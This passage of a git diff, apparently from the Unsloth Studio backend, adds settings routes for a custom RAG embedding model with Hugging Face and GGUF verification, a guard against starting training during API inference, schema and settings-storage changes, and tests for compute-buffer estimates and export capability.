EmbeddingModelResponse(BaseModel): + embedding_model: str + default_embedding_model: str + is_custom: bool + + +def _embedding_model_response() -> EmbeddingModelResponse: + return EmbeddingModelResponse( + embedding_model = get_rag_embedding_model(), + default_embedding_model = default_embedding_model(), + is_custom = get_stored_embedding_model() is not None, + ) + + +def _llama_backend_active() -> bool: + """True when this install embeds via the llama-server (GGUF) backend.""" + from core.rag import config as rag_config + from core.rag import embeddings + + try: + raw = (rag_config.EMBED_BACKEND or "auto").strip().lower() + key = embeddings._resolve_auto() if raw in embeddings._AUTO_ALIASES else raw + except Exception: # noqa: BLE001 - backend probe must never block saving + return False + return key in embeddings._LLAMA_ALIASES + + +def _resolves_as_local_gguf(model: str) -> bool: + """True when ``model`` is a local .gguf file or a directory holding one, so + a save on the llama-server backend needs no HF verification (the artifact + itself is the proof).""" + from core.rag.embed_llama_server import LlamaServerBackend + try: + return LlamaServerBackend._resolve_local_gguf(model) is not None + except Exception: # noqa: BLE001 - dir without .gguf, filesystem oddity + return False + + +def _local_gguf_backend_error(model: str) -> str | None: + """409 detail when ``model`` is a local dir without a .gguf but this install + embeds via llama-server (macOS/CPU default), which needs one. A + sentence-transformers-only folder would verify fine yet fail at first index. + None when not applicable. ``force`` skips this check like HF verification.""" + from pathlib import Path + + if not Path(model).expanduser().is_dir(): + return None + from core.rag.embed_llama_server import LlamaServerBackend + + if not _llama_backend_active(): + return None + try: + LlamaServerBackend._resolve_local_gguf(model) + return None + except RuntimeError: + return ( + f"{model!r} contains no .gguf file, but this install embeds with the " + "llama-server backend which requires one. Add a GGUF file to the " + "folder or use a Hugging Face repo." + ) + except Exception: # noqa: BLE001 - filesystem oddity: don't block saving + return None + + +def _hf_gguf_backend_error(model: str, hf_token: Optional[str]) -> str | None: + """409 detail when the llama-server backend would find no .gguf for an HF + repo: neither the derived companion repo nor the repo itself has one. Saves + that verify as embedding models would otherwise fail at first index. + None when not applicable; ``force`` skips this like HF verification.""" + from pathlib import Path + + if Path(model).expanduser().exists(): + return None # local paths are handled by the local checks + if not _llama_backend_active(): + return None + from core.rag import config as rag_config + + candidates = [model] if rag_config._names_gguf(model) else [f"{model}-GGUF", model] + try: + from huggingface_hub import list_repo_files + except Exception: # noqa: BLE001 - hub client unavailable: don't block saving + return None + for candidate in candidates: + try: + files = list_repo_files(candidate, token = hf_token) + except Exception: # noqa: BLE001 - missing/gated repo: try next candidate + continue + if any(f.lower().endswith(".gguf") and "mmproj" not in f.lower() for f in files): + return None + checked = " or ".join(repr(c) for c in candidates) + return ( + f"No GGUF weights found in {checked}, but this install embeds with the " + "llama-server backend which requires them. Pick a model with a GGUF " + "companion repo or GGUF files in the repo itself." + ) + + +@router.get("/embedding-model", response_model = EmbeddingModelResponse) +def get_embedding_model( + current_subject: str = Depends(get_current_subject), +) -> EmbeddingModelResponse: + return _embedding_model_response() + + +@router.put("/embedding-model", response_model = EmbeddingModelResponse) +def update_embedding_model( + payload: EmbeddingModelPayload, current_subject: str = Depends(get_current_subject) +) -> EmbeddingModelResponse: + """Set the RAG embedding model. Unless ``force`` is set, the repo is verified + to be an embedding model via HF metadata; an unverifiable model (wrong type, + typo, gated repo, or no network) returns 409 so the UI can offer "save anyway". + Documents indexed under the previous model must be re-uploaded.""" + from utils.models import is_embedding_model + + try: + model = validate_embedding_model(payload.embedding_model) + except ValueError as exc: + raise log_and_http_error( + exc, + 400, + safe_error_detail(exc, fallback = "Invalid embedding model."), + event = "settings.update_embedding_model_failed", + log = logger, + ) from exc + # The env/default model needs no verification; saving it is a no-op override. + # A local GGUF on the llama-server backend is accepted as-is: it is exactly + # what the backend loads, and HF metadata cannot verify a local path. + if ( + model != default_embedding_model() + and not payload.force + and not (_llama_backend_active() and _resolves_as_local_gguf(model)) + ): + hf_token = (payload.hf_token or "").strip() or None + from core.rag import config as rag_config + + # A GGUF-named repo on the llama-server backend is loaded from its .gguf + # files, which rarely carry sentence-transformers metadata; verify the + # GGUF is available (below) rather than the ST embedding-metadata gate, + # which would wrongly 409 a valid online GGUF embedder. + gguf_named = _llama_backend_active() and rag_config._names_gguf(model) + if not gguf_named and not is_embedding_model(model, hf_token = hf_token): + raise HTTPException( + status_code = 409, + detail = ( + f"Could not verify {model!r} as an embedding model on " + "Hugging Face (it may be the wrong model type, gated, or " + "you may be offline)." + ), + ) + gguf_error = _local_gguf_backend_error(model) or _hf_gguf_backend_error(model, hf_token) + if gguf_error: + raise HTTPException(status_code = 409, detail = gguf_error) + set_rag_embedding_model(model) + logger.info( + "settings.embedding_model_updated subject=%s model=%s forced=%s", + current_subject, + model, + payload.force, + ) + return _embedding_model_response() + + +@router.delete("/embedding-model", response_model = EmbeddingModelResponse) +def reset_embedding_model( + current_subject: str = Depends(get_current_subject), +) -> EmbeddingModelResponse: + """Clear the override, returning to the env/default model.""" + reset_rag_embedding_model() + logger.info("settings.embedding_model_reset subject=%s", current_subject) + return _embedding_model_response() + + class PreviewLinkRotateResponse(BaseModel): rotated: bool = True diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py index 4f131ad2f2..1da1c4f425 100644 --- a/studio/backend/routes/training.py +++ b/studio/backend/routes/training.py @@ -47,7 +47,7 @@ except ImportError: from utils.paths import resolve_dataset_path # Auth -from auth.authentication import get_current_subject +from auth.authentication import authenticated_via_api_key, get_current_subject from utils.utils import log_and_http_error @@ -114,7 +114,9 @@ async def get_visible_hardware_utilization(current_subject: str = Depends(get_cu @router.post("/start") async def start_training( - request: TrainingStartRequest, current_subject: str = Depends(get_current_subject) + request: TrainingStartRequest, + current_subject: str = Depends(get_current_subject), + via_api_key: bool = Depends(authenticated_via_api_key), ): """ Start a training job. @@ -125,6 +127,22 @@ async def start_training( try: logger.info(f"Starting training job with model: {request.model_name}") + # When Studio is driven as an inference API (API-key auth), refuse to start + # training while a request is in flight: training frees VRAM by unloading + # the chat model, which would kill the stream. The Studio UI (session auth) + # still starts training and coexists/frees VRAM as before. (A mixed UI+API + # session is not yet special-cased.) + if via_api_key is True: + from core.inference.llama_keepwarm import other_inference_request_count + if other_inference_request_count(current_request_counted = False) > 0: + raise HTTPException( + status_code = 409, + detail = ( + "Cannot start training over the API while an inference request is in " + "progress. Wait for it to finish, or start training from the Studio UI." + ), + ) + # No in-process ensure_transformers_version(): the subprocess # (worker.py) activates the correct version before importing ML libs. diff --git a/studio/backend/startup_banner.py b/studio/backend/startup_banner.py index 13d6f8ef5e..ea951a4325 100644 --- a/studio/backend/startup_banner.py +++ b/studio/backend/startup_banner.py @@ -12,6 +12,18 @@ import os import sys +def _safe_print(text: str) -> None: + """Print text without crashing on terminals that cannot encode Unicode.""" + try: + print(text) + except UnicodeEncodeError: + encoding = getattr(sys.stdout, "encoding", None) or "ascii" + try: + print(text.encode(encoding, errors = "replace").decode(encoding)) + except LookupError: + print(text.encode("ascii", errors = "replace").decode("ascii")) + + def stdout_supports_color() -> bool: """True if we should emit ANSI colors.""" if os.environ.get("NO_COLOR", "").strip(): @@ -28,9 +40,9 @@ def print_port_in_use_notice(original_port: int, new_port: int) -> None: """Message when the requested port is taken and another is chosen.""" msg = f"Port {original_port} is in use, using port {new_port} instead." if stdout_supports_color(): - print(f"\033[38;5;245m{msg}\033[0m") + _safe_print(f"\033[38;5;245m{msg}\033[0m") else: - print(msg) + _safe_print(msg) def print_studio_stop_hint() -> None: @@ -44,7 +56,7 @@ def print_studio_stop_hint() -> None: def style(text: str, code: str) -> str: return f"{code}{text}{reset}" if use_color else text - print( + _safe_print( "\n".join( [ "", @@ -180,4 +192,4 @@ def print_studio_access_banner( ] ) - print("\n".join(lines)) + _safe_print("\n".join(lines)) diff --git a/studio/backend/storage/rag_db.py b/studio/backend/storage/rag_db.py index ce27326562..cbd6ceb617 100644 --- a/studio/backend/storage/rag_db.py +++ b/studio/backend/storage/rag_db.py @@ -15,6 +15,7 @@ column type). """ import logging +import re import sqlite3 import threading @@ -64,7 +65,8 @@ def _ensure_schema(conn: sqlite3.Connection) -> None: error TEXT, num_chunks INTEGER NOT NULL DEFAULT 0, stored_path TEXT, - created_at TEXT NOT NULL + created_at TEXT NOT NULL, + embedding_model TEXT ); CREATE INDEX IF NOT EXISTS idx_documents_scope ON documents(scope); CREATE INDEX IF NOT EXISTS idx_documents_hash ON documents(scope, sha256); @@ -107,6 +109,10 @@ def _ensure_schema(conn: sqlite3.Connection) -> None: cols = {r[1] for r in conn.execute("PRAGMA table_info(documents)").fetchall()} if "project_id" not in cols: conn.execute("ALTER TABLE documents ADD COLUMN project_id TEXT") + # Lazy upgrade: which embedder produced a document's vectors (NULL = legacy, + # assumed current). Dedupe re-ingests when it no longer matches. + if "embedding_model" not in cols: + conn.execute("ALTER TABLE documents ADD COLUMN embedding_model TEXT") def get_connection() -> sqlite3.Connection: @@ -143,9 +149,32 @@ def get_connection() -> sqlite3.Connection: return conn +def vec_table_dim(conn: sqlite3.Connection) -> int | None: + """Embedding width baked into ``chunks_vec``, or None when absent.""" + row = conn.execute( + "SELECT sql FROM sqlite_master WHERE type='table' AND name='chunks_vec'" + ).fetchone() + if row is None or not row["sql"]: + return None + m = re.search(r"float\[(\d+)\]", row["sql"]) + return int(m.group(1)) if m else None + + def ensure_vec(conn: sqlite3.Connection, dim: int) -> None: """Create the dense ``chunks_vec`` table once the embedding dim is known - (vec0 bakes it into the column type). Idempotent; dim fixed per db.""" + (vec0 bakes it into the column type). A width change (embedding model + switched in Settings) drops the table: the old vectors live in a foreign + space and would only block inserts, while lexical search keeps serving old + chunks until they are re-uploaded.""" + existing = vec_table_dim(conn) + if existing is not None and existing != int(dim): + logger.warning( + "chunks_vec dim changed %d -> %d (embedding model switched); dropping " + "stale dense index. Re-upload documents to restore dense search.", + existing, + int(dim), + ) + conn.execute("DROP TABLE chunks_vec") conn.execute( f"CREATE VIRTUAL TABLE IF NOT EXISTS chunks_vec USING vec0(" f"scope TEXT partition key, " diff --git a/studio/backend/storage/studio_db.py b/studio/backend/storage/studio_db.py index 23b90d7002..41a9adcc29 100644 --- a/studio/backend/storage/studio_db.py +++ b/studio/backend/storage/studio_db.py @@ -22,7 +22,15 @@ logger = logging.getLogger(__name__) from typing import Any, Iterable, Optional -from utils.paths import project_workspaces_root, studio_db_path, ensure_dir +from utils.paths import ( + ensure_dir, + project_workspaces_root, + studio_db_path, +) +from utils.paths.external_media import is_linux_run_media_path +from utils.paths.sensitive import ( + contains_sensitive_path_component as _shared_contains_sensitive_path_component, +) from utils.training_runs import extract_project_name @@ -61,6 +69,14 @@ def _denied_path_prefixes() -> list[str]: return [] +def _contains_sensitive_path_component(path: str) -> bool: + return _shared_contains_sensitive_path_component(path) + + +def contains_sensitive_path_component(path: str) -> bool: + return _contains_sensitive_path_component(path) + + _schema_lock = threading.Lock() _schema_ready = False _SQLITE_IN_CHUNK_SIZE = 900 @@ -896,6 +912,8 @@ def add_scan_folder(path: str) -> dict: raise ValueError("Path must be a directory, not a file") if not os.access(normalized, os.R_OK | os.X_OK): raise ValueError("Path is not readable") + if _contains_sensitive_path_component(normalized): + raise ValueError("Credential or configuration directories are not allowed") # Windows: normcase for the denylist check but store original casing # so consumers see the native drive-letter casing (e.g. C:\Models). @@ -903,6 +921,8 @@ def add_scan_folder(path: str) -> dict: check = os.path.normcase(normalized) if is_win else normalized for prefix in _denied_path_prefixes(): if check == prefix or check.startswith(prefix + os.sep): + if prefix == "/run" and is_linux_run_media_path(check): + continue raise ValueError(f"Path under {prefix} is not allowed") conn = get_connection() @@ -1689,6 +1709,43 @@ def upsert_app_settings(settings: dict[str, Any]) -> dict[str, Any]: conn.close() +def upsert_app_setting_map_entry( + key: str, entry_key: str, entry_value: dict[str, Any] | None +) -> dict[str, Any]: + """Set (or delete, when entry_value is falsy) one sub-entry of a dict-valued + app setting, atomically under BEGIN IMMEDIATE so concurrent writers to other + sub-entries cannot drop each other's updates.""" + conn = get_connection() + try: + conn.execute("BEGIN IMMEDIATE") + row = conn.execute("SELECT value_json FROM app_settings WHERE key = ?", (key,)).fetchone() + current = _json_loads(row["value_json"], {}) if row else {} + if not isinstance(current, dict): + current = {} + if entry_value: + current[entry_key] = entry_value + else: + current.pop(entry_key, None) + now = datetime.now(timezone.utc).isoformat() + conn.execute( + """ + INSERT INTO app_settings (key, value_json, updated_at) + VALUES (?, ?, ?) + ON CONFLICT(key) DO UPDATE SET + value_json = excluded.value_json, + updated_at = excluded.updated_at + """, + (key, json.dumps(current), now), + ) + conn.commit() + return current + except Exception: + conn.rollback() + raise + finally: + conn.close() + + def list_chat_settings() -> dict[str, Any]: conn = get_connection() try: diff --git a/studio/backend/tests/test_anthropic_messages.py b/studio/backend/tests/test_anthropic_messages.py index 92a87ce045..a6c1fcda9c 100644 --- a/studio/backend/tests/test_anthropic_messages.py +++ b/studio/backend/tests/test_anthropic_messages.py @@ -128,13 +128,7 @@ class TestToolActionNudge: assert "call render_html once" in nudge def test_balanced_nudge_empty_without_known_tool_categories(self): - assert ( - _build_tool_action_nudge( - tools = [], - model_name = "Llama-3.1-8B-Instruct", - ) - == "" - ) + assert _build_tool_action_nudge(tools = [], model_name = "Llama-3.1-8B-Instruct") == "" # ===================================================================== diff --git a/studio/backend/tests/test_compute_buffer.py b/studio/backend/tests/test_compute_buffer.py index 42c400383e..5d14c5c5bd 100644 --- a/studio/backend/tests/test_compute_buffer.py +++ b/studio/backend/tests/test_compute_buffer.py @@ -61,11 +61,16 @@ from core.inference.llama_cpp import LlamaCppBackend MIB = 1024 * 1024 -def _backend(vocab = 248320, embd = 5120): +def _backend( + vocab = 248320, + embd = 5120, + mla = None, +): """Backend with just the dims the compute-buffer estimate reads.""" b = LlamaCppBackend.__new__(LlamaCppBackend) b._vocab_size = vocab b._embedding_length = embd + b._key_length_mla = mla # non-None -> MLA (compressed attention) return b @@ -150,3 +155,138 @@ class TestParallel1Default: def test_default_n_parallel(self): est = _backend()._estimate_compute_buffer_bytes() / MIB assert est < 128 + + +class TestContextLinearBuffer: + """``_compute_buffer_ctx_bytes``: the flash-attn KQ-mask + attention scratch + grow ~linearly with context; the flat estimate above only covers ctx -> 0. + Measured slope (q8_0 KV, ubatch 512) was 0.74-2.02 x n_embd; 2 x n_embd is the + worst-case upper bound the term must hold to.""" + + # (model, n_embd, ctx, measured CUDA0 compute buffer MiB at that ctx, q8_0/ub512) + _MEASURED = [ + ("Qwen3.5-2B", 2048, 262144, 796), + ("Qwen3.5-4B", 2560, 262144, 1330), # worst slope, 2.02 x n_embd + ("Qwen3.5-9B", 4096, 262144, 1336), + ("Qwen3.6-27B", 5120, 262144, 1360), + ("Gemma-4-31B", 5376, 262144, 2392), + ] + + def test_zero_by_default(self): + # Omitted/zero ctx -> no term (keeps the flat callers unchanged). + assert _backend()._compute_buffer_ctx_bytes(0) == 0 + + def test_zero_when_embd_missing(self): + assert _backend(embd = None)._compute_buffer_ctx_bytes(262144) == 0 + + def test_grows_linearly_with_context(self): + b = _backend(embd = 4096) + a = b._compute_buffer_ctx_bytes(65536) + d = b._compute_buffer_ctx_bytes(131072) + assert d == pytest.approx(2 * a, rel = 1e-6) + + def test_scales_with_embd(self): + # The quantized (dequant-scratch) rate scales with n_embd; f16 (mask) does not. + small = _backend(embd = 2048)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0") + big = _backend(embd = 5120)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0") + assert big > small + + def test_scales_with_ubatch(self): + b = _backend(embd = 4096) + lo = b._compute_buffer_ctx_bytes(131072, n_ubatch = 256) + hi = b._compute_buffer_ctx_bytes(131072, n_ubatch = 1024) + assert hi > lo + + @pytest.mark.parametrize("name,embd,ctx,measured", _MEASURED) + def test_upper_bounds_measured_compute_growth(self, name, embd, ctx, measured): + # flat term + context-linear term must cover the real (q8_0) buffer at full ctx. + b = _backend(embd = embd) + flat = b._estimate_compute_buffer_bytes(n_parallel = 1) + total = (flat + b._compute_buffer_ctx_bytes(ctx, cache_type_kv = "q8_0")) / MIB + assert total >= measured, f"{name}: under-reserved {total:.0f} < {measured}" + + def test_worst_case_rate_covers_two_x_embd(self): + # >= 2 x n_embd bytes per context token at the default micro-batch (the worst + # measured quantized slope, Qwen3.5-4B), so flat + term upper-bounds the buffer. + embd = 4096 + b = _backend(embd = embd) + per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = "q8_0") / 100000 + assert per_tok >= 2 * embd + + +class TestContextBufferKVQuant: + """The context-linear rate depends on the KV cache type: a quantized cache adds a + context-sized dequant scratch (heavy); f16/bf16/f32 only pays the KQ mask (light). + Measured Qwen3.5-4B at 256k: 1.30 GiB (q8_0) vs 0.31 GiB (f16).""" + + def test_quantized_heavier_than_f16(self): + b = _backend(embd = 4096) + q = b._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0") + f = b._compute_buffer_ctx_bytes(131072, cache_type_kv = "f16") + assert q > f + + def test_none_cache_type_is_f16(self): + # None -> f16 (llama.cpp's default); the env-quantized case is covered by the + # KV budget's f16 over-reservation, so we take the lighter mask-only rate. + b = _backend(embd = 4096) + assert b._compute_buffer_ctx_bytes( + 131072, cache_type_kv = None + ) == b._compute_buffer_ctx_bytes(131072, cache_type_kv = "f16") + + @pytest.mark.parametrize("ct", ["f16", "bf16", "f32"]) + def test_unquantized_uses_mask_only_rate(self, ct): + # f16/bf16/f32: KQ mask only, n_ubatch*2 B/tok, independent of n_embd. + b_small = _backend(embd = 2048) + b_big = _backend(embd = 8192) + per_small = b_small._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000 + per_big = b_big._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000 + assert per_small == per_big # no n_embd scaling on the f16 path + expected = 512 * 2 * LlamaCppBackend._CTX_COMPUTE_F16_MASK_SAFETY # ubatch 512 + assert per_small == pytest.approx(expected, rel = 1e-6) + + @pytest.mark.parametrize("ct", ["q8_0", "q5_1", "q4_0", "iq4_nl"]) + def test_quantized_types_use_heavy_rate(self, ct): + embd = 4096 + b = _backend(embd = embd) + per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000 + assert per_tok == pytest.approx( + LlamaCppBackend._CTX_COMPUTE_BYTES_PER_EMBD * embd, rel = 1e-6 + ) + + def test_f16_covers_measured_mask(self): + # f16 buffer is ~mask only (~n_ubatch*2 B/tok); 0.5 x n_embd must cover the + # measured Qwen3.5-4B f16 slope (~0.4 x n_embd = 0.31 GiB at 256k). + b = _backend(embd = 2560) # Qwen3.5-4B + est = b._compute_buffer_ctx_bytes(262144, cache_type_kv = "f16") / MIB + assert est >= 320 # measured 0.31 GiB growth + + +class TestContextBufferMLA: + """MLA (compressed attention) needs a smaller quantized dequant scratch than + regular attention: measured 0.94 x n_embd on GLM-5.2 and Kimi-K2.7 vs up to + 2.02x on Qwen/Gemma. Charging the regular rate would badly over-reserve a tight + multi-GPU MLA pin (per-device scaling multiplies the error).""" + + def test_mla_lighter_than_regular(self): + reg = _backend(embd = 6144, mla = None)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0") + mla = _backend(embd = 6144, mla = 256)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0") + assert mla < reg + + @pytest.mark.parametrize( + "name,embd,ctx,measured", + [ + ("GLM-5.2", 6144, 754688, 4141), # per-device compute MiB at q8_0 + ("Kimi-K2.7", 7168, 262144, 1690), + ], + ) + def test_mla_rate_covers_measured(self, name, embd, ctx, measured): + b = _backend(embd = embd, mla = 256) + est = b._compute_buffer_ctx_bytes(ctx, cache_type_kv = "q8_0") / MIB + assert est >= measured, f"{name}: MLA under-reserved {est:.0f} < {measured}" + + def test_mla_not_wildly_over(self): + # 1.25 x n_embd should stay within ~1.6x of the measured 0.94x (not 2.4x like + # the regular 2.25 rate would), so a multi-GPU MLA pin keeps its context. + b = _backend(embd = 6144, mla = 256) + est = b._compute_buffer_ctx_bytes(754688, cache_type_kv = "q8_0") / MIB + assert est <= 4141 * 1.7 diff --git a/studio/backend/tests/test_embedding_model_settings.py b/studio/backend/tests/test_embedding_model_settings.py new file mode 100644 index 0000000000..3be4af0e32 --- /dev/null +++ b/studio/backend/tests/test_embedding_model_settings.py @@ -0,0 +1,55 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Test for the customizable RAG embedding model: a saved override becomes the +effective model and derives its GGUF companion for the llama-server backend.""" + +from pathlib import Path +import sys +import types as _types + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +_loggers_stub = _types.ModuleType("loggers") +_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) +sys.modules.setdefault("loggers", _loggers_stub) + +import pytest + +import utils.embedding_model_settings as ems +from core.rag import config as rag_config + + +@pytest.fixture +def settings_store(monkeypatch): + """In-memory app_settings store patched under the module's lazy imports.""" + import storage.studio_db as studio_db + + store: dict = {} + monkeypatch.setattr( + studio_db, "get_app_setting", lambda key, fallback = None: store.get(key, fallback) + ) + monkeypatch.setattr( + studio_db, "upsert_app_settings", lambda settings: store.update(settings) or store + ) + ems._invalidate_cache() + yield store + ems._invalidate_cache() + + +def test_custom_model_overrides_default_and_derives_gguf(settings_store, monkeypatch): + """The core contract: with nothing stored the default is in effect; a saved + custom model becomes the effective embedding model and derives its -GGUF + companion (what the llama-server backend loads); reset clears the override.""" + monkeypatch.delenv("RAG_EMBED_GGUF_REPO", raising = False) + assert ems.get_rag_embedding_model() == rag_config.EMBEDDING_MODEL + assert rag_config.effective_gguf_repo() == rag_config.EMBED_GGUF_REPO + + assert ems.set_rag_embedding_model(" org/my-embedder ") == "org/my-embedder" + assert rag_config.effective_embedding_model() == "org/my-embedder" + assert rag_config.effective_gguf_repo() == "org/my-embedder-GGUF" + + assert ems.reset_rag_embedding_model() == rag_config.EMBEDDING_MODEL + assert ems.get_stored_embedding_model() is None diff --git a/studio/backend/tests/test_export_capability.py b/studio/backend/tests/test_export_capability.py new file mode 100644 index 0000000000..e04417f933 --- /dev/null +++ b/studio/backend/tests/test_export_capability.py @@ -0,0 +1,156 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for export capability gating. + +Export is supported iff ``get_device() in {CUDA, XPU, MLX}``, with a torch-aware reason otherwise +(pytorch_not_installed / no_accelerator / mlx_unavailable), and the backend must import without +PyTorch. The matrix mocks the hardware probes; wiring is checked with ast so it runs on CPU. +""" + +import ast +import builtins +from pathlib import Path + +import pytest + +import utils.hardware.hardware as hw + +_BACKEND = Path(__file__).resolve().parent.parent + + +def _src(rel): + return (_BACKEND / rel).read_text(encoding = "utf-8") + + +def _func_src(rel, name): + src = _src(rel) + node = next( + n for n in ast.walk(ast.parse(src)) if isinstance(n, ast.FunctionDef) and n.name == name + ) + return ast.get_source_segment(src, node) + + +# -- capability matrix -------------------------------------------------------------------------- + + +def _patch(monkeypatch, *, torch: bool, device, apple: bool): + monkeypatch.setattr(hw, "_has_torch", lambda: torch) + monkeypatch.setattr(hw, "get_device", lambda: device) + monkeypatch.setattr(hw, "is_apple_silicon", lambda: apple) + + +def test_cpu_with_torch_unsupported_no_accelerator(monkeypatch): + # PyTorch present but no accelerator: unsupported with no_accelerator, not "PyTorch missing". + _patch(monkeypatch, torch = True, device = hw.DeviceType.CPU, apple = False) + cap = hw.export_capability() + assert cap["export_supported"] is False + assert cap["export_unsupported_reason"] == "no_accelerator" + assert "accelerator" in cap["export_unsupported_message"].lower() + # Must NOT tell a user with PyTorch installed to install PyTorch. + assert "PyTorch is not installed" not in cap["export_unsupported_message"] + + +def test_cuda_with_torch_supports_export(monkeypatch): + _patch(monkeypatch, torch = True, device = hw.DeviceType.CUDA, apple = False) + cap = hw.export_capability() + assert cap["export_supported"] is True + assert cap["export_unsupported_reason"] is None + assert cap["export_unsupported_message"] is None + + +def test_xpu_with_torch_supports_export(monkeypatch): + _patch(monkeypatch, torch = True, device = hw.DeviceType.XPU, apple = False) + assert hw.export_capability()["export_supported"] is True + + +def test_mlx_without_torch_supports_export(monkeypatch): + # Apple Silicon MLX exports without PyTorch. + _patch(monkeypatch, torch = False, device = hw.DeviceType.MLX, apple = True) + assert hw.export_capability()["export_supported"] is True + + +def test_no_torch_non_apple_reports_pytorch_missing(monkeypatch): + _patch(monkeypatch, torch = False, device = hw.DeviceType.CPU, apple = False) + cap = hw.export_capability() + assert cap["export_supported"] is False + assert cap["export_unsupported_reason"] == "pytorch_not_installed" + assert "PyTorch is not installed" in cap["export_unsupported_message"] + + +def test_apple_without_mlx_reports_mlx_unavailable(monkeypatch): + # Apple + CPU means the MLX stack is missing; reason is mlx_unavailable regardless of torch. + for has_torch in (False, True): + _patch(monkeypatch, torch = has_torch, device = hw.DeviceType.CPU, apple = True) + cap = hw.export_capability() + assert cap["export_supported"] is False + assert cap["export_unsupported_reason"] == "mlx_unavailable" + assert "MLX" in cap["export_unsupported_message"] + + +# -- import safety without PyTorch -------------------------------------------------------------- + + +def test_export_backend_imports_without_torch(monkeypatch): + """core/export/export.py must import on a --no-torch host (unsloth/torch blocked) and return a + clean 'PyTorch is not installed' message from an export attempt, not crash at import.""" + import importlib + import sys + + real_import = builtins.__import__ + + def blocking_import(name, *args, **kwargs): + top = name.split(".")[0] + if top in {"torch", "unsloth"}: + raise ImportError(f"simulated: {top} not installed") + return real_import(name, *args, **kwargs) + + # Drop any preloaded copies so the guarded import paths re-run under the block. + for m in [k for k in sys.modules if k.split(".")[0] in {"torch", "unsloth"}]: + monkeypatch.delitem(sys.modules, m, raising = False) + monkeypatch.delitem(sys.modules, "core.export.export", raising = False) + monkeypatch.setattr(builtins, "__import__", blocking_import) + + mod = importlib.import_module("core.export.export") + assert mod._IS_MLX is False + assert mod.torch is None + assert mod._export_runtime_available() is False + + be = mod.ExportBackend.__new__(mod.ExportBackend) + be.current_model = None + be.current_tokenizer = None + be.is_peft = False + be._audio_type = None + ok, message, out = be.export_merged_model("/tmp/does-not-matter") + assert ok is False + assert "PyTorch is not installed" in message + + +# -- endpoint / backend wiring (ast) ------------------------------------------------------------ + + +def test_main_endpoints_expose_export_capability(): + m = _src("main.py") + # Both system endpoints spread export_capability() into their response. + assert m.count("**export_capability()") >= 2 + assert '"/api/system/hardware"' in m and '"/api/system"' in m + + +def test_routes_guard_mutating_endpoints(): + r = _src("routes/export.py") + assert "def _ensure_export_supported()" in r + # load + all four export endpoints call the guard. + assert r.count("_ensure_export_supported()") >= 6 + + +def test_export_methods_check_runtime(): + e = _src("core/export/export.py") + assert "def _export_runtime_available()" in e + # Each export method returns the clear message when the runtime is missing. + assert e.count("_export_runtime_available()") >= 5 + assert "_PYTORCH_MISSING_MESSAGE" in e + + +def test_export_capability_reads_no_torch_helper(): + cap = _func_src("utils/hardware/hardware.py", "export_capability") + assert "_has_torch()" in cap and "DeviceType.MLX" in cap and "is_apple_silicon()" in cap diff --git a/studio/backend/tests/test_export_imatrix_compressed.py b/studio/backend/tests/test_export_imatrix_compressed.py index d914ff8651..f499390add 100644 --- a/studio/backend/tests/test_export_imatrix_compressed.py +++ b/studio/backend/tests/test_export_imatrix_compressed.py @@ -54,8 +54,7 @@ def test_merged_request_rejects_unknown_format(): def test_export_gguf_threads_imatrix_to_save_and_push(): - # imatrix_file must reach both save_pretrained_gguf and push_to_hub_gguf, but only via the - # conditional **imatrix_kw so a no-imatrix export never sends an unsupported keyword. + # imatrix_file must reach both save paths, but only via the conditional **imatrix_kw. g = _func_src("core/export/export.py", "export_gguf") assert g.count("**imatrix_kw") >= 2 assert 'imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {}' in g @@ -109,8 +108,139 @@ def test_export_merged_maps_compressed_to_save_method(): def test_compressed_hub_push_uploads_local_dir_without_recompressing(): - # A compressed Hub push must upload the already-built output_path, not re-run compression - # via push_to_hub_merged (which would compress a second time). + # A compressed / torchao Hub push must upload the built output_path, not re-quantize. m = _func_src("core/export/export.py", "export_merged_model") - assert "elif is_compressed and output_path and Path(output_path).is_dir():" in m + assert "elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir():" in m assert "hf_api.upload_folder(" in m and "folder_path = output_path" in m + + +# -- torchao portable FP8/INT8 (device-agnostic, no NVIDIA GPU) --------------------------------- + + +def test_merged_request_accepts_torchao_aliases(): + # Portable torchao aliases pass through compressed_method (validated in the backend registry). + for alias in ("torchao_fp8", "torchao_int8"): + r = ExportMergedModelRequest(save_directory = "/tmp/x", compressed_method = alias) + assert r.compressed_method == alias + + +def test_export_merged_routes_torchao_and_skips_nvidia_guard(): + m = _func_src("core/export/export.py", "export_merged_model") + # torchao is classified separately and its suffix comes from the torchao normalizer. + assert "_normalize_torchao_method(compressed_alias)" in m + assert "is_torchao = torchao_info is not None" in m + assert "is_compressed = compressed_alias is not None and not is_torchao" in m + # The NVIDIA guard applies to compressed-tensors only, not torchao. + assert "_has_nvidia_gpu()" in m + # torchao routes through save_method just like compressed. + assert "elif is_compressed or is_torchao:" in m + + +def test_export_merged_nvidia_guard_present(): + m = _func_src("core/export/export.py", "export_merged_model") + assert "requires an NVIDIA GPU" in m + + +def test_has_nvidia_gpu_helper_reads_hardware_module(): + h = _func_src("core/export/export.py", "_has_nvidia_gpu") + assert "DeviceType.CUDA" in h and "IS_ROCM" in h + + +def test_export_merged_relaxes_is_peft_guard(): + # Non-PEFT (Local/HF base) models can now export merged; the old hard block must be gone. + m = _func_src("core/export/export.py", "export_merged_model") + assert "Use 'Export Base Model' instead." not in m + + +def test_unsloth_save_has_torchao_registry_and_path(): + # Read unsloth/save.py as text (not import) 